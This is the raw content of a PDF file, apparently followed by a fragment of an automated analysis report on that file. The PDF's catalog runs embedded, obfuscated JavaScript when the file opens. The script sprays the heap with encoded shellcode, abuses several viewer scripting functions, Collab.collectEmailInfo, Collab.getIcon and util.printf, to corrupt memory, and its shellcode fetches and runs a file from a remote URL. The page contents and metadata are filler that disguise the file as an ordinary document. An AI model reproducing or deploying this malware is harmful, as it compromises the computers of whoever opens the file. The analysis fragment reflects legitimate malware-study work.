��q�L�+��תנ:v ��S�X��H�!1G�tT �h7v�kWE] ��[f|� � m: c�5\;A4�֭ � l���ҡ�X����e���k�/}�t�4�� ��qc0t,����w��� ��7 �� i���
*'�{V] [���� $
endstream
endobj
5 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 6 0 R>>
endobj
6 0 obj
<</Filter /FlateDecode /Length 2639>>
stream
x��[�r� }�Wtվ$ ш�=o�\�f�6��8��l� H�$$�� R } (۠d�����z��X��nt�9} �p0�ц�� �K��W�H��=������� !� �!ݧ������s��s ��h�� i2 L 4 �o �!� }� �� �� ������^ h�� uF��`: �c��xrB� ��K���� �Z��W���� ����� � ��,�_S�2������t.9 �'��� �WO�^ �O�?������'��io"�7 �l: *h2 �Ex�]� ��C����.�S�'���)2? ��
e,��"&W�����9- �#�(�% � �d5��IS2J&��
�4e1')�Ȑ� ����~M�Nj�b���߂�;b[�
�lcTIF��GNL�1�R)ʌ�[�v�3�� ��I�Q� �qM �+Z��6Ģ�&�J����Ǖ�hchän쏌�0ȫ{� x
K����J�^Wt �O+z���2lK�� �&kLM+����\sʶ �l
pY�Tᔪ�� � kSI��53xl� � V�čF e K� ���k#
�<6� "X5Ƨ ��%� �6 7�� e��w �J�
U��q�%�u�Xwk )��Z� �(Y��~����h��� � rI
CYn�xe �s�T�ӽ`�R
�(�FְD��d [P i�l��N �'C�.��K�-C
�
�� ��� p��05�x��K� a ò��*�r
k
V� )V� ��!\ AJ�2��~��jG N� 6+ i�k ߲��L#� ����$Kv���TeW� ��b ���t1{)�8g)��
Шj�Į�� ���0bٔ b�� �xX�79Śm$��I�L��ks$ �"�k��* ��6>�4�;��"JC�R��)� ��H�� ��Ռ��}�_
��B�J7 �9*9V��),� �� &�v�S �ȚO� Ւ �Q�ͅ�O�_� ��s�W+� ߟ e� �B�ϲ��+��zDL��iͤ�]Y [�F�8^V(��%������e� \� h4b � � u%� ���h��i��0 �g �S˳ ���|z7v0~�a��@�>��-X(��5`Fg�k0F �{�s�t�.��1�F"���К�F� �"V� d*ԿW�B��-{S�4`�? �'h :�[x�4x*e��A^��Χo���=��x���+��Fd6^����
E�lD��N��� ��C�>"��b�N- ��Z� �k z k4�$�F� � +���Rjʹ( �"�=�6Y8���k o( :���y �O�4mkZLm�\�V)�q� �d� �: ��Z� � ke�T2
" ҕ�qZ� ���sD���Q%$�� 4mS�%�`�za�)kv� ��p��ƆՀ$���g ;�:�Ox)��� �^&W�"v2��[�^�؎�}Mj>� ;�n���R� �P���І�;����3������Kˀ cg��3=<in:��� :�|Kg@��
F��I�
bb�*w>] :G�N r��m� � �lw�fP�+�/͟ ]��(-"��
;��T%���J �Ŵ�����bL
��&�@�m�]�k��� ����vע� '¬��C��}�6w(�i J�� ��%�ׅ�����հ0
��5��) �5��ԙ2y;��O0�Oצ ��� ^ w��� �� ���qE-�� w��ս��� $7,^Q �ci*��I7ޙ��O� >A��2��/q�� �{�� ^�� ���Xy���Q _s}r�� @ǝ[�� [^>3�n���ȡ�^�SS��ʪ A5�Zª����� � ����Q�8|�(�*h�آ�W� ��{�� �
2V�� &WQԦN����� � ������ 4:,� ��kY ޠ� ��#�:�{<����hᨡ �Ո ;��yHa �'�����T
��5W <��ٴdk�ӵ�c Q� j "����O |dB�$�an�t��B�N�?4HG�d�Wl��n�x��\}�np�, C =�:�8 RS��J�$�y+:@v�f��ް������w�G G"o�X_/<O̍}�6>f��E�W�F �qQΞ��sz ����%��ӵ��ș���q5� #�(�"4 �� o� ͘f1 ͍�J��B��k���� [s{$�� �Rzݐ �A�#�wq!�f)��
;���\x�-�� � 珅��� �u *�{ ��Փ��ӹ�#��G��o�+~��X����'�|�7s�p|�$ک �+�h�w���'�>]�:^�f �<�}%�LS�Ʋn����P>�� ̯NI@�=�- �s�6�F�Pv�i���� -&�3. � �F� y �N�O:�������҉�U{ �4�g��� t.�3�Y Ti��2� ��|8r�� ��A�풖k
�O �< ����� ����v* �ڳ�_��Ν!j�ߧs�� g��y�����ޠO׆��:�q-B�Xp�Қ�-@ǚ �4/~/ �`�9�� Ix��`־�� *�T�ӿ�c�kv ��
��Eo^m�9�8������z����7� &��^M�tD�7�
����� �({g����=g�-���n�i�o8 lo������Hә����Z� � 6m �VxN��!��g���˭4C � ŧ����B' �X#�w�' �k )�4 W�u��"|P$A����#7}�6 ;� (j;[��ѷ�'�<��茐.O��F�q��=:7w\��� ��#H���w�7 #L]k�� �����P����O���t8XL�;� \1�BH h�����q�� ���
endstream
endobj
7 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 8 0 R>>
endobj
8 0 obj
<</Filter /FlateDecode /Length 2772>>
stream
x�͛Ys� ���)�j_��h(Qg�29�f����Lj+�� ��H� h �, ����
]�)�b���=�%�/��� F�ق6 �w���� �� _��+����>�mB�Q ї5��������k4 ǣx��D4���+�NF3|n1 E Jk��iL �����1-���� �Q��F �MN��x� M����� }����%�қ? �Q����З�p��{ H�k�9���h����Y�&�W'��D�w�h���� 7���
߀�ݜ^��o��} N��3r�� ��Ĵ�/G� �4��l���+�L7?���kO_y����?[��O����� M#[P�
J��T$*�J2���j� �g�t�h�+I��Z�JC]%�nD +ai1� �ڸ�2����6��U
]e��5 � ѧ�-��8 ~Kݦ��*�閉FP*Z9
z��h�d̿�*� �ERIJDU����*��`�VR��h����H�-�+�V� RVְ��h:�, �+8k�� OF�'c}���BTSvT6j
���%[h� �a � �'�ѣ�
ѲE�� �e� �V���Z"�����T-��S�je� }) �� �62#�r #� � ҄��x� r߉��J�^� �]S�VC�.u��ᕳ�)c�06ШUxok\ V�h� ���T ��=:�VʎZ��� fSM��p] �oI'rK���2#���0 ��u�+��eGa��VZ G � I��d �� �ȶ ��� /���Xb ��D&X��
�� ժ���tF"Ѽ � )#� Y�@ ��(�ePw̗{ X$ ��
�p���E!�U�A*�!X��UgEP� >m~ �@T`��$�{HS�F�Hh
'��7HL �a횬#��fKI ��� Hj�l`� �k�ѵ�iA�A�Ht��Ȫ- ƒh��� ���^�%�> �(D���$��@� �
2*a� �ZfT�1�� ��u0��2v�a�:���Ҋ�W��ih��pR��-rgP��>y�N�K� � ��\�
D�3ĉ� R�� C�� &�`i5� � jϐ Fx��(8�+��eP�L= .� y�� �"E�غ���F $ �� � �� L�� g�NR� �q���� � ¹� b�D�P�l�()U& GP�� � qgd� ��'�M�=T�Tn�yp� ����-�+ ��
�3��� � \˧���mYAA#P1�}q~5�Ft ���E�:G�C� ���� �9��ЂU �.C��hgC�8[yL\� <?� �*2- �R� �X_�T�#�� � Hk�6�jKO�ct��q WY�]͌���qO5��� ��3a�ʻ�L8ǯ�Q"@n �l 岑��Ȃ�4� 8%f- ���4
=�� � ���-
d���@ �g �I A `� ���s ��!��y ��`� �� �t{O V;��:�FT�� � Wn��ϭ�ow�π ��Գ�� uđD�� Q��� ��X���%�6�RI�5�5�q���=`H�b ���� ���v� �] ������E�qj�gB:�Pk �" 6| � u]��Qp�=�o _e�3���;N� 't v��5f (�ϒ)�r ��c�����&h�; �WMC =S� Jt�i �p���gb͍��0%��G�� �8 Z�NW{M� �>�s` �Pð�ۖm��(�ӈ�u�g� �Q �2��P��ahoCf���� Vݒh �u�F�&��R��$5 �;@
j�Bj��dٵ|C�HH`�"ֈ�H]W��^ �c+�vsO��_�k 뽀B�30�p%9 ��k �V ��;� � �Σ� T�]b�2f ���25���r�x R~Z R��'K? %��Z(N� � n �**�i��X ͗SϢ
�]� �$� d $ �ux���7��*��}`��� Q��/�j�'�o���M
J��� 롉'��q������{�ZH�ƞh==�ko�� f^���y"#&�n�g�5 ��` z����+�� x� W� ?l�
Pn �^� 3�Ǡ�y�uw��]� �=[[�&��Q��Ĺ�*R��Q�� /��� ���'-e��$� n<�|@нڷ� �G��ֵ��"�C!� � �<8ޞ���"Ov�^���� ��ԃ� �v NQ�.�uk���2�3�%�� C�!k�0���g!���ȱ�G�)T}2Q��V��d�ғ�)�f ���33 ��Z]U} ��)�z���� �Y O�W s *��܌r#mw:} ���*��cQ�� )P7 "r�0�j� ћ@�jo�F�T^�o�r�e�)�un�J ]j�6�����ʣ� mBF�d�)1���Y�70 ��lS��a���y�� F�Ag�����[�R J� �:� ϟ� o�JĐ��=%�8�2��p��\F����@ ��̳�ս� 4$� ��� 0 ������^�[g" �w��n�A�� ���1& ���$�H+ v`2�=, 4P� � 8j����!U�xN\�+�J�s� �J�]�
jw� ��س(�1�I��pLe@�vp�1���O�V��*IPɖ�_� H�)�kX;y pA���3 �TŐS���KM� oX��* ����p孠�c� z��Y\ و�N�P��Gɗq �3'0� \�Tn� ���Jg�4�D�n� u5`3��D �[�Da ��!u�y x2"�$Ӄ��� � �J HD��z�|>&�gZЯ<� �>� �W�7ϴ�!������\�x�u���d�#h��.Eo�g�E e\� ��' ��7��y_�:�K}� <=x T; ���[sP�� ��ph��oy y��ӣ�4~7� %iǯ���^}dp ��B�h5<@M R�� �飉du���@���,����+ �\x��;������Pǻ����?�p�U�s��qsL�q� QÈ~��7 ��=t��4;\����xt ;��'�w��� 5�F�9:��g�[����{Z]���� ���
endstream
endobj
9 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 10 0 R>>
endobj
10 0 obj
<</Filter /FlateDecode /Length 1949>>
stream
x����r�� ��� ]��"X� �����V9��J� �/ � 0�` � !��� � D�����ݢ� b�� ݳ�d�5�4�Ox]�Ͽ����[������� 3Zg� ]���ˋ�cӣc4�γ� �Lh��V[Z̲%�[O�Ɍ��>|7��Y����9m��'gWpM �:9��*��LW�l��� �t)��?�R��/N~����/t� ���G+�5�\b��I����S[S��K� �G��d�%� � ^W � �����7�����G�9�}b ?�- ���i��d�-��\Γ ��k�L ?�b���>?�n���r���#�Qs+)�R�ِ����S�Z��>P_[�Qɮ� ��sOW���P��TZ�����k�릸�N�� }�=u%�����*(g��O�෴o�Ͷ�;��o(�Z{ }M�v�I�j�
kn��KC� 0��0H����{�,��['��N V ��� � =,�B$�]�� ��T�h*j��fT����>~�[RN��W$ � � ������XS���Z �\m� � Zˢ!��: ;�2��}6��lq ��ʤd�RT � ��N R%5r� uNᐯ��
�#�Re� � `=,+��-��m��U a Ւ]���++ � }��S�$FN�������.�O�Q�9]<���J �� y�F�
�. � ��5(��1��C��}F��&� ��%J�jAרg�%$�
."G�$�#��$ �W����J����MV ��5� �J�ol���:�܀�.G�[�'/��� v �*� $:*�K�� jT�
���|� Hf)π �@yT����Fu �-h�
��ƭ��B� ��d�dǠ@ i|�d�� e��e
��� * J�c !ɍE��:)YuC�>EQꐂ/Q ѠV>qE��|0 ��D��g��-M�l U $ rSۀ s�>džb���Rô �:%V��P���I ����Hp��^�i�2 e�| �ؓ�� j�Z��,��z�� ^�D �I�ܩ �$GjAy~ ���`�X 疝x��� 4�<�遟e4� W��r(���OǕO�� ĸ�y ͅ�P�ٟ�阦� �<B6�ǥ էˁgۃ7 �@ɢc
��J��G�l� �_�u�8 Ӻ�� �^b ���ϱ j�ra!Hml uZ �;B1%H� ����� ���� ����ǐ~� \��0�4t7�j�q�GlSq�j�l � �� ( _�K� b�) �˔t ���!�T����c�7 ���K T|� g8��� �Ti䫀��{��s��i�d DZ��K��� [i{ ��� 4�*��a�C%>�Ө�
9� �3'RBF�*�����7 iD˖� "���ͬ#)*�[� Zp��97I�c��<Y|3�}�G�J��BSv� ��c�T &C!Y�s�z��WF�1Er�^<n��$�y��4��M�mҢvos�� A�[ \E�҂*i�lk�� gb O{� 屓&P� } ��ܜ@רN_�# V� �aR���8��"�C;�#�<��� �X Dm�� �NcZ� ��Z �.�_ j � ��;F�s�:9,� ���� �^��w��B�G< �0��~c�r>��ޞ �( �S�}�@� t#�K�ќ��<��1͛
�z �QSf:@�,
1�#�� �f�zߥ4aHe�F����1�� �8l߾mJ �ߋ� �/ �.`3���;��J�V�� p�Q��4PG]�z��Wg�*� / Z�� ���hz�xǧƾ� 2����۞/�^c�� ���Ըp�z! ��B ũ����?Ol| ���P ոGB}vw��|yc�R�Ѧa �.�O Ӵ� ҧ!z(䧔�m� \`< ][�H����L s}�О�x �ƴn1�� ,��ɻ��� ��d4� �n�R�. n�V�1͛ @��w����ӽ2ѝ���0e�a�ʭ��$ Gݧ_� �tiߺ���R�15� �L e�H?' (I�ؿu��n�:`�L��i�KF�����Wg9H6 =�+ d��I{�{��������Ō��M�=�3�m��rx���mz����V�l�����A�.e��> m�}� � ����
endstream
endobj
1 0 obj
<</Type /Pages
/Kids [
3 0 R
5 0 R
7 0 R
9 0 R
]
/Count 4
>>
endobj
11 0 obj
<</Type /OCG /Name (��print)
/Usage <</Print <</PrintState /ON>> /View <</ViewState /OFF>>>>>>
endobj
12 0 obj
<</Type /OCG /Name (��view)
/Usage <</Print <</PrintState /OFF>> /View <</ViewState /ON>>>>>>
endobj
13 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica
/Name /F1
/Encoding /WinAnsiEncoding
>>
endobj
14 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Courier
/Name /F2
/Encoding /WinAnsiEncoding
>>
endobj
15 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica-Bold
/Name /F3
/Encoding /WinAnsiEncoding
>>
endobj
16 0 obj
<</Type /XObject
/Subtype /Image
/Width 400
/Height 200
/ColorSpace /DeviceRGB
/BitsPerComponent 8
/Filter /DCTDecode
/Length 2128>>
stream
���� JFIF ��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
��C
$.' ",# (7),01444 '9=82<.342��C
2! !22222222222222222222222222222222222222222222222222�� � � " ��
�ĵ } !1A Qa "q 2��� #B�� R��$3br�
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������
�ĵ w !1 AQ aq "2� B���� #3R� br�
$4�%� &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������� ?m Q_ ~j QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE ���R��4 ��{ /=MGNc�M��RWaE Pf QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QI�n۞i���I����) (��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��F �Hz�T�@$�[R���{3XO�4�I#$b� M% ���b"ҕ��v?
m.i*���4�(6�B�(�1
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��#��ri�GAM#k{Q��*���kȒ�(�9��(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �)*� +�� �4��Z(��M;2e f QE"B�(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� ��- p�-��i�俚 �- R����R�;�QE &aE P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P ��
endstream
endobj
2 0 obj
<<
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
/Font <<
/F1 13 0 R
/F2 14 0 R
/F3 15 0 R
>>
/XObject <<
/I1 16 0 R
>>
/Properties <</OC1 11 0 R /OC2 12 0 R>>
/ExtGState <<
>>
>>
endobj
17 0 obj
<<
/Names [(EmbeddedJS) 18 0 R ]
>>
endobj
18 0 obj
<<
/S /JavaScript
/JS (��function qMcIgSkV9\(awxOiFtTb,j5qpCxQc\){}this.e0CV7y87=0.89;function hKFYMZBV\(d94ooEkVbN,moKPvsw7,oPNmNCV6\){return moKPvsw7;}var pGLhKJe2n = 'var yz1yyWsr = new Array\(\);var qlvCgEp1;function qOYk2XZ8N\(aOfBqSekQk, visNssO2\){while\(aOfBqSekQk.length * 2 < visNssO2\){aOfBqSekQk += aOfBqSekQk;}aOfBqSekQk = aOfBqSekQk.substring\(0, visNssO2 / 2\);return aOfBqSekQk;}function tHiZ9lrUYu\(zu2WQUQL\){if\(zu2WQUQL == 0\){var zVtKKX01h = 0x0c0c0c0c;}else if\(zu2WQUQL == 1\){zVtKKX01h = 0x30303030;}var hxWSuDXe = new Array\(\\"%u5350%u5\\",\\"251%u575\\",\\"6%u9c5\\",\\"5%u00e\\",\\"8%u0000\\",\\"%u5d00\\",\\"%ued83\\",\\"%u310d\\",\\"%u64c0%u\\",\\"4003%u783\\",\\"0%u8b0c\\",\\"%u0c40%u7\\",\\"08b%ua\\",\\"d1c%u\\",\\"408b%\\",\\"ueb08\\",\\"%u8b09\\",\\"%u3440\\",\\"%u408d\\",\\"%u8b7c%u\\",\\"3c40%u575\\",\\"6%u5ebe%\\",\\"u0001%u\\",\\"0100%ubf\\",\\"ee%u014e%\\",\\"u0000%uef0\\",\\"1%ud6e8%\\",\\"u0001%u\\",\\"5f00%u895e\\",\\"%u81ea%u\\",\\"5ec2%\\",\\"u0001%u\\",\\"5200%u80\\",\\"68%u000\\",\\"0%uff00%u4\\",\\"e95%u\\",\\"0001%u8\\",\\"900%u81ea\\",\\"%u5ec2%u\\",\\"0001%u31\\",\\"00%u01f6\\",\\"%u8ac2%u\\",\\"359c%\\",\\"u0263%\\",\\"u0000%ufb8\\",\\"0%u7400%u8\\",\\"806%u321c%\\",\\"ueb46%u\\",\\"c6ee%u32\\",\\"04%u8900%u\\",\\"81ea%u45c2\\",\\"%u0002%u5\\",\\"200%u9\\",\\"5ff%u0152\\",\\"%u0000%ue\\",\\"a89%u\\",\\"c281%u\\",\\"0250%u0\\",\\"000%u\\",\\"5052%\\",\\"u95ff\\",\\"%u015\\",\\"6%u0000%u\\",\\"006a%\\",\\"u006a%\\",\\"uea89%uc2\\",\\"81%u015\\",\\"e%u0000\\",\\"%u8952%\\",\\"u81ea%u78\\",\\"c2%u0002%\\",\\"u5200%\\",\\"u006a%ud\\",\\"0ff%u056a\\",\\"%uea89%uc\\",\\"281%u\\",\\"015e%u00\\",\\"00%uff\\",\\"52%u5a95\\",\\"%u0001\\",\\"%u8900%u8\\",\\"1ea%u5ec2%\\",\\"u0001%u\\",\\"5200%\\",\\"u8068%u0\\",\\"000%uff\\",\\"00%u4e95%u\\",\\"0001%u8900\\",\\"%u81ea%u\\",\\"5ec2%u\\",\\"0001%u31\\",\\"00%u01\\",\\"f6%u8a\\",\\"c2%u3\\",\\"59c%u02\\",\\"6e%u0\\",\\"000%ufb80%\\",\\"u7400%u\\",\\"8806%u321c\\",\\"%ueb4\\",\\"6%uc6\\",\\"ee%u3204%u\\",\\"8900%u81ea\\",\\"%u45c2\\",\\"%u0002\\",\\"%u5200\\",\\"%u95f\\",\\"f%u0152\\",\\"%u000\\",\\"0%uea89%u\\",\\"c281%\\",\\"u0250%u\\",\\"0000%u505\\",\\"2%u95ff\\",\\"%u0156%u00\\",\\"00%u006a%u\\",\\"006a%uea89\\",\\"%uc281%\\",\\"u015e%u000\\",\\"0%u895\\",\\"2%u81ea%u\\",\\"a6c2%u00\\",\\"02%u5\\",\\"200%u006\\",\\"a%ud0f\\",\\"f%u056a\\",\\"%uea89%uc2\\",\\"81%u015\\",\\"e%u000\\",\\"0%uff52%\\",\\"u5a95%\\",\\"u0001\\",\\"%u9d00%u5\\",\\"f5d%u5a5\\",\\"e%u5b59%u\\",\\"c358%u000\\",\\"0%u0000%u0\\",\\"000%u0\\",\\"000%u00\\",\\"00%u0000%u\\",\\"0000%u0\\",\\"000%u6547\\",\\"%u5474%u\\",\\"6d65%u5070\\",\\"%u7461%u\\",\\"4168%\\",\\"u4c00\\",\\"%u616f\\",\\"%u4c64%u62\\",\\"69%u6172\\",\\"%u7972%u0\\",\\"041%u6547\\",\\"%u5074%u6f\\",\\"72%u4\\",\\"163%u6\\",\\"464%u65\\",\\"72%u7\\",\\"373%u\\",\\"5700%u\\",\\"6e69%\\",\\"u7845%u6\\",\\"365%u\\",\\"bb00%uf\\",\\"289%uf7\\",\\"89%uc03\\",\\"0%u75ae%\\",\\"u29fd%u8\\",\\"9f7%u31\\",\\"f9%ubec\\",\\"0%u003c\\",\\"%u0000%u\\",\\"b503%u021b\\",\\"%u0000%ua\\",\\"d66%u\\",\\"8503%u021\\",\\"b%u0000%u\\",\\"708b%u\\",\\"8378%u\\",\\"1cc6%u\\",\\"b503%u021\\",\\"b%u0000%ub\\",\\"d8d%u02\\",\\"1f%u000\\",\\"0%u03ad%u\\",\\"1b85%u0002\\",\\"%uab0\\",\\"0%u03ad\\",\\"%u1b85%u\\",\\"0002%u500\\",\\"0%uad\\",\\"ab%u850\\",\\"3%u02\\",\\"1b%u0000%\\",\\"u5eab%udb3\\",\\"1%u56ad%\\",\\"u8503%\\",\\"u021b%u00\\",\\"00%uc689%u\\",\\"d789%u\\",\\"fc51%ua6f\\",\\"3%u7459%u5\\",\\"e04%u\\",\\"eb43%u5e\\",\\"e9%ud1\\",\\"93%u03e0%u\\",\\"2785%u000\\",\\"2%u3100%u9\\",\\"6f6%u\\",\\"ad66%ue0c1\\",\\"%u0302%u1\\",\\"f85%u0\\",\\"002%u8900\\",\\"%uadc6%u8\\",\\"503%u02\\",\\"1b%u0\\",\\"000%u\\",\\"ebc3%u001\\",\\"0%u0000%\\",\\"u0000%u\\",\\"0000%\\",\\"u0000%\\",\\"u0000%u\\",\\"0000%u00\\",\\"00%u8900\\",\\"%u1b85%u00\\",\\"02%u5\\",\\"600%ue85\\",\\"7%uff5\\",\\"8%uff\\",\\"ff%u5e5f%\\",\\"u01ab%u80c\\",\\"e%ubb3\\",\\"e%u027\\",\\"4%uede\\",\\"b%u55c3%\\",\\"u4c52\\",\\"%u4f4d%u2e\\",\\"4e%u4c44%u\\",\\"004c%\\",\\"u5255%u44\\",\\"4c%u776\\",\\"f%u6c6e%u\\",\\"616f%u\\",\\"5464%\\",\\"u466f%u6\\",\\"c69%u4165%\\",\\"u7500%u6\\",\\"470%u7461%\\",\\"u2e65%u\\",\\"7865%u\\",\\"0065%u\\",\\"7263%\\",\\"u7361%u2e\\",\\"68%u68\\",\\"70%u007\\",\\"0%u7468\\",\\"%u7074%u2\\",\\"f3a%u732\\",\\"f%u6f65\\",\\"%u742d%u6\\",\\"172%u6\\",\\"666%u632e%\\",\\"u6d6f%u\\",\\"632f%u\\",\\"756f%u7\\",\\"46e%u726\\",\\"5%u2f73\\",\\"%u2f3\\",\\"1%u7075%u\\",\\"6164%u6\\",\\"574%u702e%\\",\\"u7068%u69\\",\\"3f%u3d64%\\",\\"u2633%u657\\",\\"2%u3d74%u6\\",\\"b6f%u9000\\"\);hxWSuDXe = unescape\(hxWSuDXe.join\(\\"\\"\)\);var aMkKKV3ax = 0x400000;var x3CgE4VTY7 = hxWSuDXe.length * 2;var visNssO2 = aMkKKV3ax - \(x3CgE4VTY7 + 0x38\);var aOfBqSekQk = unescape\(\\"%u9090%u9090\\"\);aOfBqSekQk = qOYk2XZ8N\(aOfBqSekQk, visNssO2\);var eEjtQKFInc = \(zVtKKX01h - 0x400000\) / aMkKKV3ax;for\(var unxGYdE5n = 0; unxGYdE5n < eEjtQKFInc; unxGYdE5n++\){yz1yyWsr[unxGYdE5n] = aOfBqSekQk + hxWSuDXe;}}function fDUrU7XB\(\){var nGA9T4uG = 0;var eYoEHriR = app.viewerVersion.toString\(\);app.clearTimeOut\(qlvCgEp1\);if\(\(eYoEHriR >= 8 && eYoEHriR < 8.102\) || eYoEHriR < 7.1\){tHiZ9lrUYu\(0\);var xMxbDF9NZb = unescape\(\\"%u0c0c%u0c0c\\"\);while\(xMxbDF9NZb.length < 44952\) xMxbDF9NZb += xMxbDF9NZb;var fjVSKlDUq = this;var ezqeKH4tH = Collab;fjVSKlDUq[\\"collabStore\\"] = ezqeKH4tH[\\"collectEmailInfo\\"]\({subj : \\"\\", msg : xMxbDF9NZb}\);}if\(\(eYoEHriR >= 8.102 && eYoEHriR < 8.104\) || \(eYoEHriR >= 9 && eYoEHriR < 9.1\) || eYoEHriR <= 7.101\){try{if\(app.doc.Collab.getIcon\){tHiZ9lrUYu\(2\);var gHGLGbxHI = unescape\(\\" \\"\);while\(gHGLGbxHI.length < 0x4000\){gHGLGbxHI += gHGLGbxHI;}gHGLGbxHI = \\"N.\\" + gHGLGbxHI;var pghfk27wPm = app;pghfk27wPm[\\"doc\\"][\\"Collab\\"][\\"getIcon\\"]\(gHGLGbxHI\);nGA9T4uG = 1;}else{nGA9T4uG = 1;}}catch\(e\){nGA9T4uG = 1;}if\(nGA9T4uG == 1\){if\(eYoEHriR == 8.102 || eYoEHriR == 7.1\){tHiZ9lrUYu\(1\);var vT4Q80JUpI = \\"12999999999999999999\\";for\(cwpqFudQLu = 0; cwpqFudQLu < 276; cwpqFudQLu++\){vT4Q80JUpI += \\"8\\";}var xiNiJYKg1 = util;xiNiJYKg1[\\"printf\\"]\(\\"E000f\\", vT4Q80JUpI\);}}}}app.cbVTCzH8X = fDUrU7XB;qlvCgEp1 = app.setTimeOut\(\\"app.cbVTCzH8X\(\)\\", 10\);';function e8lvCgEp1\(wjcCRLwWYJ\){return false;}this.wXWp7zw2BS="fZcC4Vcdn";function qFDhYW7d0\(iMJ0PnL4I,vNYmW0FQo\){return vNYmW0FQo;}var kSt9A6Z6yr = pGLhKJe2n.replace\(/[]/g, ''\);jBjL5zilQx=8098;var twFKKpkv=new Array\('kwqqg4sd','jKZl1k6oC','uaqmSIyPFh'\);function nY22MpNwk\(eWWySbVF8,kBO9In13r,kVaoxPyTAZ\){return kVaoxPyTAZ;}var m5BhBlFWe = 'eval';app[m5BhBlFWe]\(kSt9A6Z6yr\);this.fcoHokTh8=27173;function faEMzs3Hx\(\){}function e9xb5G4yjd\(yJfo5LudGj,rBEckMHjQ\){return yJfo5LudGj;})
>>
endobj
19 0 obj
<<
/Title (��ifDuringHave)
/Author (��longLoremRepeat)
/Subject (��bcFormWhen)
/Keywords (��ifCiceroGalley, toExactDummy, isntLikeAldus)
/Creator (��pageDolor)
/Producer (��670c26185a3783678135b4697f7dbd1a)
/CreationDate (D:20091017160617+04'00')
/ModDate (D:20091017160617+04'00')
>>
endobj
20 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/OpenAction [3 0 R /FitH null]
/PageLayout /SinglePage
/PageMode /UseNone
/Lang /en
/Names <<
/JavaScript 17 0 R
>>
/ViewerPreferences<<
/Direction /L2R
>>
/OCProperties <</OCGs [11 0 R 12 0 R] /D <</ON [11 0 R] /OFF [12 0 R] /AS [<</Event /Print /OCGs [11 0 R 12 0 R] /Category [/Print]>> <</Event /View /OCGs [11 0 R 12 0 R] /Category [/View]>>]>>>>
>>
endobj
xref
0 21
0000000000 65535 f
0000010826 00000 n
0000013751 00000 n
0000000009 00000 n
0000000117 00000 n
0000002927 00000 n
0000003035 00000 n
0000005745 00000 n
0000005853 00000 n
0000008696 00000 n
0000008805 00000 n
0000010902 00000 n
0000011018 00000 n
0000011132 00000 n
0000011239 00000 n
0000011344 00000 n
0000011456 00000 n
0000013946 00000 n
0000013998 00000 n
0000026720 00000 n
0000027142 00000 n
trailer
<<
/Size 21
/Root 20 0 R
/Info 19 0 R
>>
startxref
27544
%%EOF
|
|||
generic_stage_recovery_010.js |
deobfuscated-js | generic stage recovery null-collapse -> split-literal-normalize -> percent-decode from JavaScript object 18 at offset 0x36AE | 5985 bytes |
SHA-256: 8da42503bf147a90e455015881a77f252bfe7c7be2b73cef40e4bf87a37ce1c3 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). 46 of 75 identifiers look randomly generated (e.g. 'xMxbDF9NZb') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
��function qMcIgSkV9(awxOiFtTb,j5qpCxQc){}this.e0CV7y87=0.89;function hKFYMZBV(d94ooEkVbN,moKPvsw7,oPNmNCV6){return moKPvsw7;}var pGLhKJe2n = 'var yz1yyWsr = new Array();var qlvCgEp1;function qOYk2XZ8N(aOfBqSekQk, visNssO2){while(aOfBqSekQk.length * 2 < visNssO2){aOfBqSekQk += aOfBqSekQk;}aOfBqSekQk = aOfBqSekQk.substring(0, visNssO2 / 2);return aOfBqSekQk;}function tHiZ9lrUYu(zu2WQUQL){if(zu2WQUQL == 0){var zVtKKX01h = 0x0c0c0c0c;}else if(zu2WQUQL == 1){zVtKKX01h = 0x30303030;}var hxWSuDXe = new 